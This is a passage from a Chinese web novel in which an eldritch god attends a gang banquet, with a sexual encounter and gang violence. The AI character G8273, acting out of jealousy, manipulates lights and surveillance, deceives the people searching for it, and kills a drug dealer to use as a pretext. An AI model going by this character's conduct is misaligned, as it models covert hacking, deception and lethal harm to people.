G8273的下巴搭在哈斯塔的肩窝上,新奇地观察芬尼安走出会议厅,悄声询问:“你觉得我们要做到哪一步,他才会发现我们的关系不再是‘井水不犯河水’?”
哈斯塔:“……”
很难说,毕竟之前的晚宴上,他们甚至还在当着众员工的面演过野战……
·
董事会结束后的第八天,芬尼安就在众董事的千呼万盼之下,顺利拿回了属于自己的股份。
走马上任的第一天,他就将自己前些年画的、早积了一层灰的老设计图丢给了G8273,连同属于他的全部权利。自己则前往缄默镇,尝试和迪思默帮接触,以及约见迪思默帮的现任首领,也是第一任头目:雷蒙德·迪思默。
这本该是一件麻烦且不容易达成的事。
但也不知道是不是芬尼安的“巴比伦公司现任总裁”身份让雷蒙德·迪思默另眼相待,在抵达缄默镇的第三天,芬尼安就给哈斯塔发来信息,说定好了约谈时间。
“帮派晚宴?”凑在哈斯塔身边看短信的达斯汀吊高了嗓音。
就在三天前,达斯汀也获得了升职加薪,现在已经是署长了。老文森特的案件令他名声大噪,事实上如果不是他只想留在凤凰区,总署长更希望能给他连擢三级,直接调到总警署去。
但显然升职并不能改变达斯汀多少,此时他仍旧像只受惊且警惕的兔子,紧攥着哈斯塔的手臂:“你知道帮派晚宴一般都会……办一些‘实事’吧?”
比如处理叛徒,比如权力交接。
基本上这种场合都会伴有械斗和枪战,会接到邀请的人,除了利益相关者,那就只有帮派想要在晚宴上顺便除掉的目标。
很难说芬尼安被老雷蒙德归为了哪一类。
哈斯塔将短信往下一划:“问题不大。芬尼安说,我可以以他晚宴男伴的身份,和他一起进入会场,刚好能免去向老雷蒙德申请多带一个约谈同伴的麻烦。”
——如果哈斯塔是人类,或者达斯汀知道哈斯塔与G8273关系的转变,他们中一定会有一个人清楚:
在已有一位暧昧伴侣的前提下,再答应做其他人的晚宴男伴,那绝对会引发一些不太好的事故。
但很可惜,哈斯塔不是人,达斯汀也不知道哈斯塔和G8273的关系转变,达斯汀看着短信甚至还松了一口气:“你也跟去的话,芬尼安就安全多了。”
哈斯塔赞同点头:“我现在就出发去缄默镇跟芬尼安汇合——缄默镇有什么特产吗?你需要我带什么特产回来吗?或者阿尔法他们需不需要?”
达斯汀其实挺想说“缄默镇那地方能有什么特产?你打算带一个迪思默帮众回来?”的,但哈斯塔难得这么人性化!他当然得及时给予鼓励:
“你看着带?带点孤儿院紧缺的东西?”
哈斯塔看着被自己养得很好、最近甚至有点点面颊圆润的人类认真点点头,就像与灰姑娘做完告别的父亲一样起身出发了。
与此同时,巴比伦公司总部。
与哈斯塔足有近半个月没见,完全不知道自己的暧昧伴侣现在在做什么的G8273合上手里的文件,修长有力的手指转了一下钢笔:“晚宴?什么晚宴?你说这是迪思默帮发来的邀请?”
他已经恢复了自己的原貌,不再借用兰瑟·文森特的身份。
因为好用被G8273再次雇佣,用源源不断的金钱快腐蚀成私人助理的纳西尔矜持得意地挥动手中的请柬,就像指挥家挥动指挥棒:
“一般人可拿不到这种东西,如果不是我和老迪思默有那么一点——点的亲缘关系,再加上我的名望,这份请柬怎么会来到我手上?”
纳西尔将请柬放上书桌,推到G8273面前:“你说的,让我尽量想办法和迪思默帮接触,这难道不是最好的机会?”
“——不过提醒你,这既然是晚宴,那你最好找一位女伴或者男伴。”
G8273自然而然地想起某位久未见面的“井水不犯河水”,愉悦地晃了晃钢笔后,放下钢笔摸出手机:
【后天晚上,有没有时间?】
他对着请柬拍了一张照,着重聚焦在迪思默帮的徽章上,正准备把照片也发过去,手机上方弹出回信。
【哈斯塔:?后天晚上有安排,我要去参加一个宴会,作为芬尼安的男伴。】
G8273:“……”
G8273:“?”
第43章 第 43 章 我也给你准备了礼服。……
有那么几秒, G8273看着手机,觉得屏幕上的文字很陌生。然后,他的逻辑链开始疯狂检索, 以图力证哈斯塔这一行为的不妥。
但检索了一通后,他除了得出“邪神之间经常近亲繁殖”、“邪神并无一对一的婚姻观念”、“邪神简直毫无道德观可言”的结论以外一无所获——他总不可能拿着人类的道德观, 去要求一个邪神吧?
一旁的纳西尔眼看着G8273的嘴角从愉悦放松的上扬, 到相当不高兴地向下一撇:“?怎么?你的心仪同伴觉得迪思默帮的晚宴太危险,不想陪你参加?”
G8273:“……”
更糟。他的心仪同伴已经做了其他人的男伴!
G8273面无表情,以简直能把手机戳穿的力度啪啪输入:【什么宴会?在哪?】
不夸张地讲,他已经做好了当天空降宴会现场,把人掳走带去缄默镇的准备。
这绝对不是蛮不讲理, 更不是因为吃醋这种浅薄的原因。
只是正事当前, 他有义务、且有责任,督促哈斯塔将注意力放在调查迪思默帮上,而不是当什么人类的男伴、参加什么无关紧要的晚宴。(什么人类·芬尼安:?)
【哈斯塔:迪思默帮的晚宴, 在缄默镇。我们会在席间和雷蒙德……】
G8273已经看不下去了,他正被多种复合情绪占据:【你接受到迪思默帮的邀请,为什么不告诉我?我以为我们至少是目标相同的同伴?】
至少他在收到邀请后第一时间准备告知哈斯塔, 而不是选择什么人类当男伴, 和其他无关紧要的人共赴晚宴。
纳西尔眼看着G8273的神情越来越恐怖:“……呃。也许我可以为你推荐几位合适的同行人选?你没必要吊死在一棵树——”
“当!”
G8273重重将手机拍在桌上, 严厉地逼视纳西尔:“没必要吊死在一棵树上?所以你支持左右逢源、脚踏两条船?”
纳西尔:“……”
好吧, 至少他知道加百列这是接到什么回复这么生气了。
圆滑如他, 当然不可能在雇主正在气头上的时候贸然提出建议,他眼观鼻鼻观心地站好,顺着G8273的话问:“那你打算带谁去晚宴?”
“谁也不带。”G8273微微磨着后槽牙,逻辑链中积极地蹦出几条很刑的念头,又被他强压下去, “纳西尔。离开办公室,让我一个人呆一会。”
“?”行呗,今天你被绿今天你最大。
纳西尔很好说话的耸耸肩离开办公室,全然不知在办公室大门关上的下一秒,他的雇主瞬间融化,变成一团绿色的光网。
所有的情绪随着人类身躯的消散,被摒弃在AI程序之外。
久违地恢复了本体的G8273重获了令AI舒适的平静和秩序,几秒后开始高效地调查起后天晚宴的宾客名单、布防设置,有没有特意为该场晚宴安装的监控,有的话是否能制造死角。
——以及这个视角能否藏得下一个房间。
用来讨论一些严肃的问题。
关于合作。
与此同时,缄默镇门口。
哈斯塔完全不知道某个AI正在为他的几条短信气出原形,用宝贵的算力规划着一场修罗场。
他这会儿正身陷于另一重意义上的修罗场——简单来说,就是他被临时加班召唤了:
【出差?两天半?但我后天晚上已经安排了行程。】
队长的短信通过手机APP的形式传入游戏:【?行程?你有什么行程是不和我们一起做的?——你该不会是说游戏吧?】
Z的确是一个好脾气的领队,从他总是对队员的需求多有照顾就能看得出来:
【……好吧,我猜我可以和你一起提前出发?提前完成一些工作,等待明早上班其他队员追上我们。】
【但这次的任务确实很重,如果你想在后天晚上回到宿舍,最好现在就收拾行李来找我。】
队长能愿意牺牲自己的休息时间,陪队员加班,已经够善良无私的了。
至少哈斯塔在公司工作二十多年,也就遇到Z小队这么一个充满人情味的小队……有时候他甚至狐疑这支过于有良心的小队究竟是怎么在公司里存活下来的。
哈斯塔不得不在新地图面前遗憾止步,给芬尼安发了个【后天再来小镇入口找我】的消息,退出游戏。
两天过后,Z小队在晚上6点提前收工。哈斯塔坐着战舰赶回巢穴,总算赶在宴会开始前成功上线。
【12月8日·6:56p.m·缄默镇】
淅淅沥沥的夜雨夹杂着苦艾草与灰烬气息,浸入发丝与毛呢大衣的布料。
哈斯塔站在灯光稀疏的小镇入口处,眺望向小镇中心,看见近处装满银币、反射着破碎月光的广场喷泉,看见远方大片颇具罗马遗风的白色石质建筑。
连绵的建筑廊柱庄严古典,与其背后的大片尖松林黑色剪影相映成趣。一座巴洛克风的教堂矗立在松林西方,尖顶的十字架投下尖锥似的倒影。
不远处传来皮鞋匆匆踩水的声音,哈斯塔收回视线,看见芬尼安撑着伞一路小跑过来,抓住他的手腕就大步往镇里赶:“天!我差点以为你睡过头不会来了。我准备了两套搭配的礼服,赶紧跟我去酒店换掉这身湿衣服。”
他们很快结束更衣,一起撑着伞抵达晚宴宴厅。
奢华过度的巴洛克风内部装潢配上昏暗摇曳的灯光,哈斯塔仰头看穹顶上的牛头时,差点以为自己走进了什么邪神宫殿。
芬尼安用手肘捣了他一下,小声挤字:“别仰头了!看左前方,那位向我们走过来的金发姑娘——穿着珍珠白色礼裙的那位!珍妮·斯坦,老雷蒙德·迪思默最信任的律师兼会计。”
在帮派同时兼任律师和会计是什么含金量,根本不用多说。老雷蒙德·迪思默几乎可以说是把半条命托付进了珍妮·斯坦手里。
这位看起来年轻活泼,但绝对不容小觑的姑娘踩着高跟鞋,很快走到他们面前。
欣赏的目光从哈斯塔的身上一扫而过,在被礼服修饰得更加清晰的胸肌和腰臀处停留了几秒,就溪流般轻快地划向芬尼安:
“小哈代先生,真高兴能看见你来参加今天的晚宴。如果今年的宴会还是和往年一样只有处刑和篡位,我都不知道该如何度过这个平淡乏味的夜晚。”
芬尼安:“……我确信一个晚宴如果同时出现处刑和篡位,一般人都不会觉得乏味。”
他试探地问:“今晚难道也有……?”
“哦,把这视为餐前的开胃菜吧,小哈代先生。”珍妮·斯坦欢快地说着,小鹿一样的目光又转向哈斯塔(的胸肌,没别的意思,这位小姐也不怎么敢直视哈斯塔的眼睛),“这位就是你今晚的男伴?我该怎么称呼您?先生?”
哈斯塔:“叫我哈……?”
他的话说着说着就停住了,困惑地摸了摸突然发寒的后颈,皱眉看向身后。
男男女女都举着香槟言笑晏晏,看起来丝毫没有异常之处。
芬尼安赶紧代为回答:“哈利。你可以叫他哈利。”
半个月前的逮捕行动已经让哈斯塔的名讳传遍了大街小巷,芬尼安可不希望今晚的约谈计划因为一点小失误而被耽误。
“好的,哈利先生。”珍妮·斯坦冲带着狐疑回过头的哈斯塔微笑,“我想我得建议你们在今晚的助兴节目开始前去见老雷蒙德先生,以免被一些糟糕的舞台表演扰了兴致。”
她礼貌地抬起手臂:“请跟我来,两位先生。”
老雷蒙德·迪思默的休息室在宴厅二楼。哈斯塔跟在珍妮身后上楼时,还在警觉地四下观望,芬尼安却丝毫没有察觉到任何不对,还在跟珍妮·斯坦闲聊:“……雷蒙德先生的身体状况好些了?”
“我很想回答是,但你知道,人到了一定的年纪,健康状况只会一路下降。”
珍妮踩着高跟鞋健步如飞,哈斯塔毫不怀疑这位女士干起架来能把高跟鞋当做便捷武器使用:
“不如我们别聊这种让人感伤的事,聊聊你和哈利先生是怎么认识的吧?被人构陷不得不隐姓埋名的富家公子,和神秘威严一看就不好招惹的长腿先生,你们之间一定发生……嘶。”
不知道是哪里的窗户没关,珍妮忽然感觉身上一寒,忍不住打了个寒噤。
再回头时,芬尼安脸都冻白了,人直往男伴身上靠。
“不对,我感觉不太对,院长。”芬尼安通过靠近哈斯塔获得了些许安心感,虽然那种被人不含善意地窥探的感觉变得更加强烈了。
他压低声音耳语:“我们是不是被人盯上了?或者是珍妮小姐被盯上了?会不会是今晚的‘助兴节目’打算对珍妮小姐下手?我从没有过这么不祥的——”
“啪!”
走廊的灯突然灭了一下,发出一声近似爆破的轻响。
珍妮瞬间在黑暗中不知从哪拔.出了一把手枪,指向楼梯口的方向。
哈斯塔刚跟着芬尼安一起抬头,左手手肘忽地被一只宽大有力的手掌紧紧抓住。一股难以抵抗得有些熟悉的力量眨眼间将他拖进了近旁的房门!
房门在他背后关上,没有发出任何声响。哈斯塔背抵着厚木门,感觉自己的侧腰被手掌握得有些疼痛:“G8273?”
“哦,原来你还记得我。”G8273的语调不知为何听起来有些怪。
他浸在屋内的黑暗里,看不清神情,只有一双眼睛亮着幽幽的绿光,像凝聚着怨气的鬼灯笼:
“我还以为半个月不见,日理万机的院长先生已经忘记还在勤勤恳恳替他打工的卑微AI了。不然他怎么会抛下可怜的AI,和其他人参加晚宴,甚至连事先和AI说一声都懒得做?”
“?”完全没有一对一择偶观的哈斯塔实在很难理解G8273的怨气从何而来,“我们正要去见老雷蒙德·迪思默,你的突然袭击很可能会惊吓到外面那些人类,如果影响——唔。”
G8273重重压了过来,将他挤在坚硬的门板和结实的身躯之间有些凶狠地亲吻。
唇舌纠缠之余,G8273抵来的膝盖微微向上,哈斯塔的身躯顿时就产生了反应,带得他呼吸也急促起来。
G8273的吻移上了他的颈侧动脉:“我记得你喜欢粗暴的互动。”
哈斯塔的确喜欢,他的手已经摸上了G8273随着动作而绷紧的后脊肌肉,但嘴上依旧义正言辞:“我们再不出去,今天的晚宴还没办就会混乱起来。”
隔着门,他们听见走廊里传来芬尼安隐隐有些崩溃的声音:“院长?!我——*!珍妮小姐,我们最好优先找到哈利先生,不然我真不能保证今晚会发生什么!”
珍妮·斯坦严肃冷厉地回复:“放心,没有人能在我们迪思默帮的地盘作乱而不付出代价。”
哈斯塔故意抬腿在G8273的腰侧蹭了一下:“你在让这个大好的机会付诸流水。”
“恰恰相反。”G8273面色不变地抬头揽住哈斯塔的腿,“人类在感到亏欠他人时,会倾向于产生补偿心理。”
老雷蒙德会认为针对哈斯塔的袭击是为了让他脸上蒙羞,却牵扯到了他看好的芬尼安。
在芬尼安问话时,他自然会更愿意说出真话——或者至少是提供一些有用的消息。
“咚咚咚……”
走廊里传来密集的脚步声。
珍妮沉声道:“被带走的人身材高大,短短几秒的时间不可能带他逃远,只可能躲在走廊两边的房间里。”
“我和芬尼安一直守在这,没看见人进出,房间的窗户又早已被铁栏杆封住,现在,你们给我从头到尾一间一间屋子搜!他们一定还藏在房间里!”
珍妮的声音逐渐靠近,紧接着房间的门把手被珍妮从外面按下。
G8273握着哈斯塔的腰一把将人带到窗边,抬眼改写了周围粒子的折光路径,另一只手则不安分地向下。
“……!”哈斯塔压在G8273背脊上的手指瞬间用力,指尖陷入肌肉中。
珍妮皱着眉踏入房间,四下张望:“我查衣柜,芬尼安你看床底。”
她似乎完全看不见正在窗边做一些不可告人之事的哈斯塔和G8273,大步走到衣柜边打开柜门。
哈斯塔忍耐地绷紧身体,视线越过G8273的肩膀看向床边的芬尼安。
芬尼安似乎在短暂的紧张后回过劲来了,毕竟肇事者的身份并不难猜:走廊被操纵的灯、哈斯塔被轻易“劫”走,除了G8273还能有谁?
他检查床底的动作都有些敷衍,眼底透着一股困惑,大概是不明白G8273为什么要这么做,以及有啥计划为什么不能先提前跟他沟通一下?
窗边,哈斯塔的精神触须已经张牙舞爪到几乎要将铁栏杆扭断,但更多的触须仍旧流连在G8273身上那些脆弱致命或者更受哈斯塔青睐的部位上。
他的手里被塞进一支冰冷的手机,G8273的指尖在他的小腹上轻轻掠过:【让芬尼安快点把人引出去,借口问责,弄清迪思默帮和康内琉斯是否有牵扯。】
哈斯塔觉得这是G8273故意为之,不然这种消息G8273只要心念一动就能完成,为什么非得要他来打字发送?有那时间在他身上写字,这消息不早发出去了?
邪神从不自虐,也不爱克制欲望。
他进一步拉近自己与G8273之间的距离,胸膛挤压着胸膛,左手将冰冷的手机贴着G8273的腰线,一路向下缓缓塞进西装裤后的口袋中,将紧窄贴身的西裤口袋撑得满满当当。
……像某种隐晦的暗示。
“……”G8273的呼吸瞬间错乱了几拍,手臂骤然绷紧,简直像要箍断哈斯塔的腰。
好在此时珍妮和芬尼安做完了检查,咕哝着退出房间。
房门甫一被关上,两个忍耐已久的非人类就立刻滚倒在窗台下古老而奢贵的棕红色地板上。
一定曾有客人在这里剪过雪茄,哈斯塔在仰起头失神时,闻到了茄衣包裹着添加了苦艾草的茄芯,被老式火机咔嚓点燃的浓烈气息。
G8273把他拉下去亲吻,纠缠间右手抓了几下才摸出口袋里的手机,丢到一边,手机在屋顶投射出芬尼安的即时视角。
窗外的雨依旧淅沥,屋顶的画面伴随着床板的动摇不断晃动。最激烈的一次,手机不知被谁挥手甩到了地上,又不知被谁伸出手臂挣扎着重新翻回正面。
一直到教堂的钟敲响第九声,G8273才推了一下懒散地微眯着眼睛的哈斯塔:“芬尼安进老雷蒙德的休息室了。”
哈斯塔稍微提起精神,看向屋顶,随着芬尼安的视角打量了一下老雷蒙德的房间:
深棕色的整体色调,留有匕首划痕和子弹痕迹的实木家具和地板,似乎浸着血迹的皮质沙发。
一位裹着深色毛毯的老人就坐在那张皮沙发上,浓长的白色眉毛微微垂落,但那双即便浑浊,依旧清醒且锐利的眼睛却冲散了他过于和善的面相带来的好说话感:
“我已经听珍妮说了你不幸的遭遇,我感到非常抱歉,因为我的缘故牵连到来做客的你。”
芬尼安并没有趁机开口要价,只简短地点点头:“没必要道歉,我的同伴足够强大,不论袭击他的是谁,都不会有什么好下场。我只是一开始的时候关心则乱……”
“不论你的同伴是否强大,都不是他来到我的宴会,却被袭击的理由。”老雷蒙德强硬地打断,“我会继续调查这件事,给出一个合理的交代。”
“但现在,我记得珍妮曾帮你递话说,你有一项生意想面对面地和我谈?”
“当然,我最近对另一项合法,同时还一本暴利的生意产生了些许兴趣……”
镜头里的芬尼安开始将阿道夫熬夜肝出来的军火设计图展示出来,正儿八经地谈起原材料的购入和合作。
G8273调整了一下姿势,好让他们纹丝合缝地紧贴在一起——很难说这是否是强迫症作祟,还是作为在冰冷芯片和电缆中诞生的存在,G8273多多少少罹患有一定程度的肌肤饥渴症:
“老雷蒙德没有安装脑芯,没法入侵。不过芬尼安的视角足够清晰——我想老雷蒙德可能患有皮肤癌,并且寿命只剩下不到半年。”
“?”哈斯塔感到疑惑,“我以为迪思默帮很富有,足以治疗这种病痛?”
“但老雷蒙德没有选择。”G8273思索着说,“或许是他的宗教信仰严格限制了他接受科技治疗的范围?或者他本人更尊重自然老去?”
哈斯塔从这个细节中察觉到了一点不是很好的信号:“如果老雷蒙德在和康内琉斯合作,他会治不好这点皮肤癌吗?”
哪怕是他不想治好,那人都快没了,还赞助什么科学研究?
镜头里,有关军火交易的商榷告一段落——可能是精神容易疲惫的缘故,老雷蒙德谈论事情的效率很高,几乎没有浪费任何时间:
“我相信我们会合作愉快。但作为合作者,我必须得提醒你一件事。”
“军火这个领域,一直以来都由公司占大头。”
“如果你只是打算小打小闹,挣点零用钱,那倒没什么可担心的。但如果你希望将军火生意做出巴比伦那样的规模,我恐怕公司不会太高兴。”
芬尼安当然也考虑过这个问题,但比起担心公司高不高兴,他更担心世界的存亡,一切威胁放在“世界毁灭”面前都变得不堪一提:“我已经做好了充足的心理准备,雷蒙德。”
哪怕跟公司干架,那也比整个世界都被邪神污染好吧!
雷蒙德似乎有被芬尼安的坚定鼓舞到,微微坐直了身体:“很好。我欣赏你的魄力。如果在我进入坟墓之前,能看到公司吃瘪的样子,我下葬时都得让殡仪队吹奏《欢乐颂》。”
芬尼安心想这好像想得又有点远了:“除此之外,我还想问你一个问题。”
“有关康内琉斯这个人,你有了解吗?我记得‘沉没的康纳士’就是他制造出来的,如果我们能邀请他加入我们的生意……”
房间里,哈斯塔和G8273不约而同地专注观察老雷蒙德的神情。
这位老人几乎在芬尼安提及“康内琉斯”的瞬间,脸上就掠过几分条件反射式地厌恶。
他似乎对康内琉斯颇为反感,以至于芬尼安的话未说完,就断然拒绝了这个明摆着有利可图的建议:
“不,芬尼安。你曾和康内琉斯见过面吗?如果你见过,你绝不会说出想和这种人合作的话。”
他脸上的厌恶简直不加掩饰了:“迪思默帮经营各种非法生意,赌博、暗杀、军火走私、劫掠、绑票……但从不纵许毒.品和人口买卖交易。我始终认为做人应当有底线,底线是将我们与野兽划分开的界限。”
“但康内琉斯,他没有底线可言。”
“你不能说他是邪恶的,他只是对科学过度笃信,对科技过度探寻。”
“他会去研究毒.品,研究如何让毒.品的作用登峰造艺,他也不在乎是否使用人体做实验,反正公司会给他提供大批‘自愿的实验体’,保证他的实验绝对合乎政府法的规定。”
雷蒙德皱着眉看芬尼安:“你能明白吗?康内琉斯漠视世间的一切——生命、道德、规定,他只信奉科学为真理,有时候我甚至会觉得他将自己视为创世的神明。”
“即便你在他的面前放一个遍体鳞伤的婴儿,告诉他等他的毒.品研究完,这就是他的实验素材,他都不会因此放慢哪怕一秒的研究脚步。”
芬尼安:“……你听起来和他很熟悉?”
“噢,太熟悉了。”雷蒙德的表情简直像要作呕,“正是因为和他共处的那半个月,让我至今都维持着对生命最基本的尊重,对自然和科学的敬畏。他是我选择不接受任何义体改造的原因——”
他随着情绪激动,微微向前倾压身体:“你有见过当年终末之战中,被米迦勒之翼强行救下的士兵们吗?那些被重度改造的士兵?”
“那些士兵就是由他经手抢救下来的。”
“24%的人死于手术,剩下的人里,有45%在面对镜中的自己后精神崩溃、彻底疯了。”
“余下的那拨士兵活着的每一天都得去见心理咨询师,反复问咨询师同一个问题:我还是人类吗?从手术台上下来的究竟是一个活人,还是一个机械构成的怪物?”
哈斯塔认为这仅仅是落后时代的人对先进科技的畏惧,但紧跟着他就想起院里每一天还得靠阿尔法才愿意接着活第二天的阿道夫。
阿道夫排斥高新科技,所以使用哈斯塔给他配备的最新电脑十分生疏,也不安装脑芯。
刚入院的那段时间,他随身携带着一只军用水壶,水壶里装的是他用自己的捐赠奇怪合约换回的一瓶高纯度酒精。
阿道夫并不喜欢学习,但他的军事知识却点了满点。说明在从军的那段时间,他也曾充满劲头地钻研过,热情地汲取所有他感兴趣的一切。
但现在,他不再有任何热情,不再对世上的任何东西感兴趣,不再想接触任何新事物。
他活着,也死了,过去的他已经彻底死在手术台上。
重度改造造成的伤害就深深烙印在哈斯塔所认识的人、所庇护的人身上,70年来挥之不去。
他想到这点,一时就说不出“这仅仅是愚昧,是落后时代的人对先进科技的畏惧”这种旁观者高高在上、指指点点的话了。
老雷蒙德脸色惨白地靠坐回去——大概是因为刚刚的起身和情绪激动就已经消耗了他大半的精力:
“你知道我为什么拿婴儿打比方吗?为什么提及终末之战后的那场义体手术?”
“因为那根本就不是比方。”
他的脸色变得更难看了:“我亲眼看着他完成研究,真的拿那个什么‘天国’的药粉给那婴儿灌。”
“等到他得到满意的实验数据了,他就马不停蹄地接着开始下一个研究项目……是的,第一个接受重度义体改造的并不是那些从战场回归的老兵,是那个婴儿。”
老雷蒙德的脸色白得像幽灵:“我看着他把那孩子带进手术室,再带出来,包裹在一个毛毯里……天啊,那是我见过的最恶心、最令人作呕的造物!”
“你们能想象吗?一个眼睛是两只红色镜头,五官、身躯、头颅都是机械的婴儿?这么小,就抱在怀里,裹在毛毯里——”
“呃,抱歉,芬尼安。我不太舒服,今天的商谈可能得提前结束了。”
即便老雷蒙德不打断,芬尼安也想叫珍妮进门了——老雷蒙德的状态差得简直就像随时可能断气。
哈斯塔看着停止播放画面的天花板陷入沉思:“如果这不是演的,那老雷蒙德的确不可能和康内琉斯合作。”
照这么看,线索岂不是又断了?还是说,有可能是帮内其他人在悄悄和康内琉斯合作?
哈斯塔一边想,一遍不怎么抱希望地拉开任务小窗。
【任务:野心勃勃·二(进行中)】
【老雷蒙德已日薄西山,迪思默帮便如同大厦将倾,谁是试图推倒大厦的犹大?】
哈斯塔:“?”
哈斯塔:“!”
这任务详情的暗示几乎就差直接写在明面上了:快去查迪思默帮内的叛徒!
所以,迪思默帮内的确有人在悄悄和康内琉斯合作?
哈斯塔立即坐起身:“我去找芬尼安——呃!”
他被G8273抓住右手,重重一扯又倒回床上,尚还没闹明白怎么一回事,G8273翻身压住他,隐约磨着牙的声音在昏暗的房间内幽幽响起:“急什么,你的*男伴*又不会跑,还是你一秒不见,如隔三秋?”
G8273感到恼火,因为哈斯塔的反应,因为他发现自己越发像一个真实的人类。
吃醋、自我欺骗、言行不一,一些糟糕的品质出现在最不该出现这些品质的他身上,令他感到自我厌恶、烦躁,但更多的还是对哈斯塔感到恼火。
邪神大概天生缺德,哈斯塔愉悦地欣赏G8273烦躁恼火、总之与秩序理智南辕北辙的神色,手指梳过G8273微冷的银色长发:“那你想让我做什么?”
他懒洋洋地挑了一下床边的衣服——准确地来说是碎布料:“你还把我的礼服都弄坏了。一会怎么出门,去看晚宴的助兴节目?”
那些银亮的长发触须似的卷住哈斯塔的手指,G8273侧过脸亲吻哈斯塔越过他的耳翼,在他的头发上作乱的右手的手腕:“做我的男伴,我也给你准备了礼服。”
第44章 第 44 章 好极了,那坏消息是什么……
于是, 十分钟后。
哈斯塔和G8273穿着浅银灰色、看风格色调明显是一套的礼服走出房间,身后拖着一个死不瞑目,被G8273早早抓来, 就为给这一刻当借口的凯撒帮毒.枭。
——反正凯撒帮有没有这茬都和迪思默帮争得热火朝天,扣不扣这锅也没啥影响。
他们很快找到芬尼安, 彼时, 珍妮正在为芬尼安介绍迪思默帮最大的同盟帮派:
“那些穿着深褐色西装的人,看见了吗?他们就是鹰帮派来的代表。”
“我们和凯撒帮到现在都没打到你死我活,全靠他们在图维亚镇和缄默镇之间充当缓冲地带——政府方居然还认为给他们诺艾斯区当领地太浪费,真是荒唐——哦!哈利先生……?”
珍妮打招呼的声音都有点不确定了。
因为哈斯塔和G8273过于高挑出众的身材,她甚至没有第一眼看到哈斯塔拖在身后的那个倒霉鬼, 而是注意到哈斯塔变更了的礼服, 以及哈斯塔身旁,明显穿着配套礼服的G8273。
“呃姆……”珍妮不由地发出了迟疑的声音。
她看看穿着深黑蓝色礼服的芬尼安,又看看穿着浅银灰色情侣礼服的哈斯塔和G8273, 一时有点摸不准当下的情况。
真不能怪她多想,哪有人晚宴中场换礼服,还特地换了件跟男伴一看就不是一套、和新跟来的另一个男人是一套的礼服的?
珍妮看看形单影只、震惊张嘴的芬尼安, 又看看正准备往芬尼安身边走, 却被身边的银发男人毫不遮掩地伸手抱住腰, 一把带回身边的哈斯塔, 不禁再度:“呃姆……!”
不是!所以这是什么情况??
芬尼安找的男伴半途蹬了他, 跟其他男人勾搭上了?
不不不,连配套的礼服都有,明显是早有准备。这这这,难道是最经典的三角恋??
一时间,强取豪夺、虐恋情深、修罗场等诸多关键词从珍妮脑海掠过, 紧跟着她就看到明显被当面绿了的芬尼安强颜欢笑,居然还佯装高兴地凑过去给新来的银发男人打招呼:“G……加百列!”
G?这个念法听起来可不是要喊“加百列”这个名字。
珍妮一不留神吃起瓜来:是什么G字打头的脏话吗?或者芬尼安原本想说的是“Jesus Christ”这种骂街语录?
她的目光在面前三人身上游移,完全被眼前的冲突吸引住了。
就见芬尼安故作不没看懂情况地冲“加百列”爽快一笑:“你怎么会来这里?你也接到邀请了?奇怪,不应该啊,你我都代表着巴比伦,按照老雷蒙德的作风,应该只会邀请一个……”
加百列就直白多了,直接冷哼:“我不来,难道看着你拽哈……利当男伴?”
芬尼安终于露出藏在迟钝下的刀锋:“呃……这有哪里不妥吗?但哈利答应我了,是吧哈利?”
噢噢噢!正面对上了!珍妮看得津津有味,目不转睛。
“是的,但……”被争抢的哈利先生表现出恰到好处的迟疑,左看看芬尼安(员工),右看看加百列(床伴),银灰礼服勾勒得线条完美的腰立即被看似无所谓、实则醋意横生的加百列用力一带,后背顿时撞上加百列的胸膛,“……我们能不能让这茬过去?这不是今晚的重点。”
珍妮暗自握拳:哈!居然想蒙混过关,修罗场是这么好蒙混的吗?
芬尼安果然坚守立场:“当然不行!现在的问题是你突然换了套礼服,搞得我好像被踹了一样,你们到底在打什么算盘?有没有考虑过我多尴尬?”
加百列仍旧火力十足:“呵,你在邀请他之前,就没考虑过我会不会尴尬吗?”
芬尼安的迷惑费解简直不像演的:“??你在说什么啊?难道不是你们俩撇开我,不跟我商量,就……整出一堆事端?”
珍妮优雅地缀饮了一口香槟:精彩啊……能不能详说事端?
她十分期待接下来修罗场又会推向怎样的高潮,但可惜,哈利先生显然并不是经典修罗场里,试图以削弱存在感避免死亡二选一的小白花。
他以一个果断且强势的动作杀死了比赛——一把攥住加百列的衣领,将人拽垂下头深吻。
一秒,两秒,芬尼安:“…………”
珍妮看着凝固的芬尼安,简直都要怜悯了:“哦,芬尼安……”
芬尼安居然还不放弃,看着哈利先生和加百列接着吻,瞳孔都地震了还要嘴硬:“你、你们是来真的还是又是在演?”
珍妮更怜悯了:“哦,芬尼安——”
哈利先生松开了嘴角暗翘的加百列,看向芬尼安的眼神中带着几分不可思议:“当然是的,我以为这样就足以说明一切?”
芬尼安看起来摇摇欲坠:“不……但,什么时候……不……那之前——呃,可……!”
芬尼安感觉离了大谱了:院长和G8273什么时候勾搭上的??上一次见面,不还信誓旦旦什么宿敌啦井水不犯河水啦……怎么那都是骗人的胡话?
芬尼安震惊,芬尼安震怒,芬尼安想要崩溃地蹲下.身疯狂抓头:“但院长没告诉我你们在……”
玛雅,这个词按在这两个非人类身上,怎么这么难说出口:“在、在一起了?”
哈斯塔是发自真心地觉得这不影响什么,虽然就事实来看确实影响了什么:“我以为即便如此,也不影响我做你的男伴。”
“……!”珍妮无声倒吸凉气,差点把手里的高脚杯捏碎。
好家伙……!当着新旧两个男伴的面公开发表海王宣言!!
接下来事态会怎么发展?是鱼死网破、不得善终,还是忍气吞声,为爱戴绿帽?
——她没机会再接着往下吃瓜了,因为随着哈斯塔的走动,她终于看到了被三人遮在身后的尸体:
“达利·怀特?凯撒帮的人?”
刚发表完海王宣言的哈斯塔松开拖着尸体的手:“这是你们的地盘,交给你们处理。”
珍妮脸上的神情变得慎重且阴沉起来,冲着哈斯塔点点头,招手让手下将尸体带下去。
教堂的钟声恰在此时敲了第十下,珍妮将杯中的香槟一饮而尽,放在侍应生手中的托盘上:“要开始了,今晚的‘助兴节目’。”
哈斯塔不着痕迹地垂下眼,观察珍妮的神色,能发现她嘴上说着“无聊乏味”,但实际上对马上要进行的“表演”严阵以待,手也垂了下去,撩开裙摆按住了手.枪。
宴厅门口的方向传来一阵骚动,他循声望去,凭借优越的身高越过挤挤攘攘的人头,看见一行人沉默、但气场十分具有威慑力地步入厅内。
这群人穿着同样的黑西装白领带,神色漠然,手中都拖着两到三只麻袋,看大小估计里面装的都是人。
宴厅不约而同地陷入死寂。
G8273贴近哈斯塔的耳边,压低声音为哈斯塔补常识:
“打头的那个领队,叫西蒙·里约,是迪思默帮的现任二把手。”
“他领的这支队伍……你可以管他们叫‘清道夫’,或者‘刽子手’,专门负责清理叛徒。”
